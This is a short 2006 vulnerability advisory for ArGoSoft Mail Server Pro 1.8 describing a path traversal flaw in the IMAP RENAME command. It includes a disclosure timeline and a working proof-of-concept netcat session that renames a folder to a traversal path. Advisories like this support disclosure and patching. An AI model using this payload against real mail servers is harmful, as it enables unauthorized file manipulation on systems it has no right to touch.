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NSA Group Security Advisory NSAG-№200-24.02.2006 Vulnerability ArGoSoft Mail Server Pro IMAP



Advisory:
NSAG-№200-24.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product: 
ArGoSoft Mail Server Pro 1.8  IMAP

Site of manufacturer:
www.argosoft.com

The status: 
19/11/2005 - Publication is postponed. 
19/11/2005 - Manufacturer is notified. 
14/02/2006 - Answer of the manufacturer is absent.
14/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/878.html

Risk: 
Hide

Description: 
Vulnerability exists because of insufficient check of entrance data of variable 
RENAME.

Influence: 
Removed user, is accessible to move files, to an any place on a disk.

Exploit: 
M: \> nc.exe 192.168.1.1 143 
* OK IMAP Module of ArGoSoft Mail Server Pro for WinNT/2000/XP, Version 1.8 
(1.8.8.1) 
0001 LOGIN "testuser" "test" 
0001 OK LOGIN successful 
000P CREATE "testfile" 
000P OK Folder created 
000G RENAME "testfile" "...\..\..\hackuser\hackfolder"
000G OK RENAME completed


More information:
http://www.nsag.ru/vuln/878.html

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